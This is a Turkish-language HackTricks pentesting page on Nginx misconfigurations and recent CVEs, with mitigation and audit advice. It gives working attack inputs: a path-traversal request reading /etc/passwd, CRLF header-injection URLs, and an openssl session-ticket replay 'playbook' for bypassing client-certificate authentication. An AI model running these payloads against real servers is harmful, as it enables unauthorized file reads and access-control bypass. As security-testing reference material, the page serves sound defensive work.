Nginx

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Kök dizin eksikliği

Nginx sunucusunu yapılandırırken, root directive sunulan dosyaların temel dizinini tanımlayarak kritik bir rol oynar. Aşağıdaki örneğe bakın:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

Bu yapılandırmada /etc/nginx kök dizin olarak belirlenmiştir. Bu ayar, /hello.txt gibi belirtilen kök dizin içindeki dosyalara erişime izin verir. Ancak yalnızca belirli bir location (/hello.txt) tanımlandığına dikkat etmek önemlidir. Kök konum için herhangi bir yapılandırma (location / {...}) yoktur. Bu eksiklik, root direktifinin genel olarak uygulanması anlamına gelir ve kök yoluna (/) yapılan isteklerin /etc/nginx altındaki dosyalara erişmesine olanak tanır.

Bu yapılandırmadan kaynaklanan önemli bir güvenlik riski vardır. GET /nginx.conf gibi basit bir GET isteği, /etc/nginx/nginx.conf konumundaki Nginx yapılandırma dosyasını sunarak hassas bilgileri ortaya çıkarabilir. root’u /etc gibi daha az hassas bir dizine ayarlamak bu riski azaltabilir, ancak bu yine de diğer yapılandırma dosyaları, erişim günlükleri ve HTTP basic authentication için kullanılan şifrelenmiş kimlik bilgileri dahil olmak üzere kritik dosyalara istenmeyen erişime izin verebilir.

Alias LFI Yanlış Yapılandırması

Nginx’in yapılandırma dosyalarında “location” direktiflerinin dikkatle incelenmesi gerekir. Local File Inclusion (LFI) olarak bilinen bir zafiyet, aşağıdakine benzeyen bir yapılandırma ile istemeden ortaya çıkabilir:

location /imgs {
alias /path/images/;
}

Bu yapılandırma, sunucunun /imgs../flag.txt gibi istekleri hedeflenen dizinin dışındaki dosyalara erişim girişimi olarak yorumlaması nedeniyle LFI saldırılarına açıktır; bu, etkili olarak /path/images/../flag.txt olarak çözülür. Bu zafiyet, saldırganların web üzerinden erişilememesi gereken dosyaları sunucunun dosya sisteminden elde etmesine izin verir.

Bu zafiyeti hafifletmek için yapılandırma şu şekilde ayarlanmalıdır:

location /imgs/ {
alias /path/images/;
}

Daha fazla bilgi: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix testleri:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Güvenli olmayan yol kısıtlaması

Aşağıdaki sayfayı inceleyin; şu tür direktifleri bypass etmeyi öğrenmek için:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Güvensiz değişken kullanımı / HTTP Request Splitting

Caution

Zafiyetli değişkenler $uri ve $document_uri ve bu, onları $request_uri ile değiştirerek düzeltilebilir.

Bir regex de şu şekilde zafiyetli olabilir:

location ~ /docs/([^/])? { … $1 … } - Zafiyetli

location ~ /docs/([^/\s])? { … $1 … } - Zafiyetli değil (boşlukları kontrol ediyor)

location ~ /docs/(.*)? { … $1 … } - Zafiyetli değil

Aşağıdaki örnek Nginx yapılandırmasındaki bir zafiyeti gösterir:

location / {
return 302 https://example.com$uri;
}

HTTP isteklerinde yeni satır karakterlerini belirtir olan \r (Carriage Return) ve \n (Line Feed), URL kodlu halleri %0d%0a şeklinde gösterilir. Bu karakterleri bir isteğe dahil etmek (örn. http://localhost/%0d%0aDetectify:%20clrf) yanlış yapılandırılmış bir sunucuya gönderildiğinde sunucu, Detectify adlı yeni bir header üretir. Bu, $uri değişkeninin URL kodlu yeni satır karakterlerini decode etmesi nedeniyle olur ve yanıtta beklenmeyen bir header ile sonuçlanır:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

CRLF injection ve response splitting riskleri hakkında daha fazla bilgi edinin: https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Ayrıca bu teknik bu konuşmada açıklanıyor, bazı savunmasız örnekler ve tespit mekanizmaları ile. Örneğin, bu yanlış yapılandırmayı blackbox perspektifinden tespit etmek için şu istekleri kullanabilirsiniz:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

Eğer zafiyet varsa, ilki “X” herhangi bir HTTP method olduğu için dönecek ve ikincisi “H” geçerli bir method olmadığı için hata döndürecektir. Yani sunucu şunu alır gibi: GET / H HTTP/1.1 ve bu hatayı tetikler.

Başka tespit örnekleri şöyle olabilir:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

O konuşmada sunulan bulunmuş zafiyetli konfigürasyonlardan bazıları şunlardı:

  • Son URL’de $uri’nin olduğu gibi ayarlandığına dikkat edin
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Yine $uri’nin URL’de yer aldığını (bu sefer bir parametrenin içinde) not edin
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Şimdi AWS S3’te
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Herhangi bir değişken

Belirli durumlarda kullanıcı tarafından sağlanan verilerin bir Nginx değişkeni olarak işlenebileceği keşfedildi. Bu davranışın nedeni tam olarak aydınlatılamamış olsa da nadir değildir ve doğrulaması basit değildir. Bu anomali HackerOne’daki bir güvenlik raporunda vurgulandı; raporu here üzerinden inceleyebilirsiniz. Hata mesajının daha fazla incelenmesi, olayın Nginx kod tabanındaki SSI filter module of Nginx’s codebase içinde meydana geldiğini ortaya koydu ve sorunun kaynağı olarak Server Side Includes (SSI) belirlendi.

Bu yanlış yapılandırmayı tespit etmek için, değişkenin yazdırılıp yazdırılmadığını test etmek amacıyla bir Referer header ayarlamayı içeren aşağıdaki komut çalıştırılabilir:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Sistemler genelinde bu yapılandırma hatası için yapılan taramalar, bir kullanıcının Nginx variables’ı yazdırabildiği birden çok örnek ortaya çıkardı. Ancak savunmasız örnek sayısındaki azalma, bu sorunu yamalamaya yönelik çabaların kısmen başarılı olduğunu gösteriyor.

try_files ile $URI$ARGS değişkenlerini kullanmak

Aşağıdaki Nginx yapılandırma hatası bir LFI zafiyetine yol açabilir:

location / {
try_files $uri$args $uri$args/ /index.html;
}

Yapılandırmamızda, belirli bir sırayla dosyaların varlığını kontrol etmek için kullanılan try_files direktifi bulunur. Nginx, bulduğu ilk dosyayı sunar. try_files direktifinin temel sözdizimi aşağıdaki gibidir:

try_files file1 file2 ... fileN fallback;

Nginx, belirtilen sırayla her dosyanın varlığını kontrol eder. Bir dosya varsa, hemen sunulur. Belirtilen hiçbir dosya yoksa, istek yedek (fallback) seçeneğine yönlendirilir; bu başka bir URI veya belirli bir hata sayfası olabilir.

Ancak, bu direktifte $uri$args değişkenleri kullanıldığında, Nginx istek URI’si ile herhangi bir sorgu dizesi argümanının birleşimine uyan bir dosyayı aramaya çalışır. Bu nedenle bu yapılandırmayı istismar edebiliriz:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Aşağıdaki payload ile:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Payload’ımızı kullanarak Nginx yapılandırmasında tanımlı kök dizininden kaçarak /etc/passwd dosyasını yükleyeceğiz. Debug loglarında Nginx’in dosyaları nasıl denediğini gözlemleyebiliriz:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

Yukarıda bahsedilen konfigürasyonu kullanarak Nginx’e karşı PoC: Example burp request

Backend’in ham yanıtının okunması

Nginx, proxy_pass aracılığıyla backend tarafından üretilen hataları ve HTTP başlıklarını yakalamaya olanak veren bir özellik sunar; amaç dahili hata mesajlarını ve başlıkları gizlemektir. Bu, Nginx’in backend hatalarına karşı özel hata sayfaları sunmasıyla gerçekleştirilir. Ancak Nginx geçersiz bir HTTP isteği ile karşılaştığında sorunlar ortaya çıkar. Böyle bir istek alındığı gibi backend’e iletilir ve backend’in ham yanıtı Nginx müdahalesi olmadan doğrudan istemciye gönderilir.

uWSGI uygulaması içeren bir örnek senaryoyu ele alalım:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Bunu yönetmek için, Nginx yapılandırmasında belirli direktifler kullanılır:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Bu direktif, backend’den dönen ve durum kodu 300’den büyük olan yanıtlara Nginx’in özel bir yanıt sunmasını sağlar. Örneğimizdeki uWSGI uygulaması için bir 500 Error yanıtının yakalanıp Nginx tarafından işlendiğinden emin olur.
  • proxy_hide_header: Adından da anlaşılacağı üzere, bu direktif istemciden belirtilen HTTP başlıklarını gizler; gizliliği ve güvenliği artırır.

Geçerli bir GET isteği yapıldığında, Nginx bunu normal şekilde işler ve gizli başlıkları açığa çıkarmadan standart bir hata yanıtı döndürür. Ancak, geçersiz bir HTTP isteği bu mekanizmayı atlar ve ham backend yanıtlarının—gizli başlıklar ve hata mesajları dahil—açığa çıkmasına neden olur.

merge_slashes set to off

Varsayılan olarak, Nginx’in merge_slashes directive** değeri **on` olarak ayarlanmıştır; bu, bir URL’deki birden çok ileri eğik çizgiyi tek bir eğik çizgiye sıkıştırır. Bu özellik URL işlemlerini sadeleştirirken, özellikle local file inclusion (LFI) saldırılarına yatkın Nginx arkasındaki uygulamalarda güvenlik açıklarını istemeden gizleyebilir. Güvenlik uzmanları Danny Robinson ve Rotem Bar bu varsayılan davranışla ilişkili potansiyel riskleri, özellikle Nginx reverse-proxy olarak çalıştığında, vurgulamışlardır.

Böyle riskleri azaltmak için, bu tür zaafiyete sahip uygulamalar için **merge_slashes directive**'ını off` konumuna getirmek önerilir. Bu, Nginx’in URL yapısını değiştirmeden istekleri uygulamaya iletmesini sağlar ve böylece alttaki güvenlik sorunlarını gizlemez.

For more information check Danny Robinson and Rotem Bar.

Maclicious Yanıt Başlıkları

As shown in this writeup, web sunucusundan gelen yanıtlarda bulunan bazı başlıklar Nginx proxy davranışını değiştirebilir. Bunları in the docs bölümünde kontrol edebilirsiniz:

  • X-Accel-Redirect: Nginx’e isteği belirtilen bir konuma dahili olarak yönlendirmesini bildirir.
  • X-Accel-Buffering: Nginx’in yanıtı bufferlayıp bufferlamayacağını kontrol eder.
  • X-Accel-Charset: X-Accel-Redirect kullanılırken yanıt için karakter setini ayarlar.
  • X-Accel-Expires: X-Accel-Redirect kullanılırken yanıtın geçerlilik süresini ayarlar.
  • X-Accel-Limit-Rate: X-Accel-Redirect kullanılırken yanıtların transfer hızını sınırlar.

Örneğin, X-Accel-Redirect başlığı nginx içinde dahili bir redirect oluşturur. Yani nginx konfigürasyonunda root / gibi bir yapı varsa ve web sunucusundan gelen yanıtta X-Accel-Redirect: .env bulunuyorsa, nginx /.env içeriğini gönderir (Path Traversal).

Default Value in Map Directive

In the Nginx configuration, the map directive often plays a role in authorization control. A common mistake is not specifying a default value, which could lead to unauthorized access. For instance:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Bir default olmadan, /map-poc içindeki bir undefined URI’ye erişerek bir malicious user güvenliği atlatabilir. The Nginx manual bu tür sorunları önlemek için bir default value ayarlanmasını önerir.

DNS Spoofing Vulnerability

Nginx’e karşı DNS spoofing belirli koşullar altında mümkündür. Eğer bir attacker, Nginx tarafından kullanılan DNS server’ı biliyor ve DNS sorgularını yakalayabiliyorsa, DNS kayıtlarını spoof edebilir. Ancak Nginx DNS çözümlemesi için localhost (127.0.0.1) kullanacak şekilde yapılandırıldıysa bu yöntem etkisizdir. Nginx bir DNS server belirtmeye izin verir, şu şekilde:

resolver 8.8.8.8;

proxy_pass ve internal Direktifleri

proxy_pass direktifi, istekleri dahili veya harici başka sunuculara yönlendirmek için kullanılır. internal direktifi ise belirli location’ların yalnızca Nginx içinde erişilebilir olmasını sağlar. Bu direktifler kendi başlarına zafiyet olmasalar da, yanlış yapılandırıldıklarında güvenlik açıklarına yol açmaması için dikkatle incelenmelidir.

proxy_set_header Upgrade & Connection

Eğer nginx sunucusu Upgrade ve Connection header’larını iletecek şekilde yapılandırıldıysa, h2c Smuggling attack gerçekleştirilerek korumalı/iç endpoints’e erişilebilir.

Caution

Bu zafiyet, bir saldırganın proxy_pass endpoint’i ile doğrudan bağlantı kurmasına (bu örnekte http://backend:9999) ve içeriğinin nginx tarafından kontrol edilmeyecek olmasıyla sonuçlanır.

Example of vulnerable configuration to steal /flag from here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

proxy_pass belirli bir path’e işaret ediyor olsa bile (ör. http://backend:9999/socket.io), bağlantı http://backend:9999 ile kurulacaktır; bu yüzden o iç uç noktadaki başka herhangi bir path ile iletişim kurabilirsiniz. Yani proxy_pass URL’sinde bir path belirtilmiş olması önemli değildir.

HTTP/3 QUIC module remote DoS & leak (2024)

2024 boyunca Nginx, CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 ve CVE-2024-35200’ü açıkladı; bunlar, deneysel ngx_http_v3_module derlendiğinde ve bir listen ... quic soketi açığa çıktığında tek bir hostil QUIC oturumunun worker süreçlerini çökertebileceğini veya memory leak yapabileceğini gösteriyor. Etkilenen sürümler 1.25.0–1.25.5 ve 1.26.0 iken, 1.27.0/1.26.1 düzeltmeleri içerir; bellek disclosure’ı (CVE-2024-34161) ayrıca hassas verilerin ortaya çıkması için 4096 bayttan büyük MTU’lar gerektirir (ayrıntılar aşağıda referans verilen 2024 nginx advisory’sinde).

Recon & exploitation hints

  • HTTP/3 opt-in’dir, bu yüzden Alt-Svc: h3=":443" yanıtlarını scan edin veya UDP/443 QUIC handshakes için brute-force yapın; doğrulandıktan sonra, worker crash’ları tetiklemek ve log leakage zorlamak için handshake ve STREAM framelarını custom quiche-client/nghttp3 payload’larıyla fuzz edin.
  • Quickly fingerprint target support with:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

Şubat 2025 tarihli bir advisory, OpenSSL ile derlenmiş nginx 1.11.4–1.27.3 sürümlerinin bir name-based virtual host’tan alınan TLS 1.3 oturumunun yeniden kullanılmasına izin verdiğini açıkladı; böylece sertifikasız bir host ile müzakere yapan bir istemci, ticket/PSK’i yeniden oynatarak ssl_verify_client on; ile korunan bir vhost’a geçiş yapabilir ve mTLS’i tamamen atlayabilir. Hata, birden fazla virtual host aynı TLS 1.3 session cache ve tickets’ı paylaştığında tetiklenir (aşağıda referans verilen 2025 nginx advisory’sine bakın).

Saldırgan playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Eğer hedef kırılgan ise, ikinci handshake istemci sertifikası sunulmadan tamamlanır ve korumalı konumlar açığa çıkar.

Ne denetlenmeli

  • Mixed server_name blokları — ssl_session_cache shared:SSL ile paylaşılan ve ssl_session_tickets on; içeren bloklar.
  • mTLS bekleyen Admin/API blokları ancak shared session cache/ticket ayarlarını public host’lardan devralıyor.
  • vhost izolasyonunu dikkate almadan TLS 1.3 session resumption’u global olarak etkinleştiren otomasyon (ör. Ansible roles).

HTTP/2 Rapid Reset dayanıklılığı (CVE-2023-44487 davranışı)

HTTP/2 Rapid Reset attack (CVE-2023-44487) hâlâ nginx’i etkiler when operatörler keepalive_requests veya http2_max_concurrent_streams değerlerini varsayılanların üzerine çıkarır: bir saldırgan tek bir HTTP/2 bağlantısı açar, binlerce stream ile doldurur, ardından hemen RST_STREAM frame’leri gönderir; böylece concurrency tavanına ulaşılamazken CPU tear-down mantığında yanmaya devam eder. Nginx varsayılanları (128 concurrent streams, 1000 keepalive requests) etki alanını küçük tutar; bu limitleri “önemli ölçüde” yükseltmek, tek bir istemciden bile worker’ları doyurmayı trivially kolaylaştırır (aşağıda referans verilen F5 write-up’a bakın).

Tespit ipuçları

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Hosts that reveal unusually high values for those directives are prime targets: one HTTP/2 client can loop through stream creation and instant RST_STREAM frames to keep CPU pegged without tripping the concurrency cap.

Kendiniz deneyin

Detectify, bu makalede tartışılan bazı yanlış yapılandırmalarla kendi vulnerable Nginx test server’ınızı Docker ile kurabileceğiniz bir GitHub repository’si oluşturdu; bunları kendiniz bulmayı deneyin!

https://github.com/detectify/vulnerable-nginx

Statik analiz araçları

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (an updated fork of GIXY) is a tool to analyze Nginx configurations, with the goal of finding vulnerabilities, insecure directives, and risky misconfigurations. It also finds misconfigurations affecting performance, and detects missed hardening opportunities, allowing automated flaw detection.
  • gixy-ng (the actively maintained fork of GIXY) is a tool to analyze Nginx configurations, with the goal of finding vulnerabilities, insecure directives, and risky misconfigurations. It also finds misconfigurations affecting performance, and detects missed hardening opportunities, allowing automated flaw detection.

Nginxpwner

Nginxpwner, yaygın Nginx yanlış yapılandırmalarını ve zayıflıkları aramak için basit bir araçtır.

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin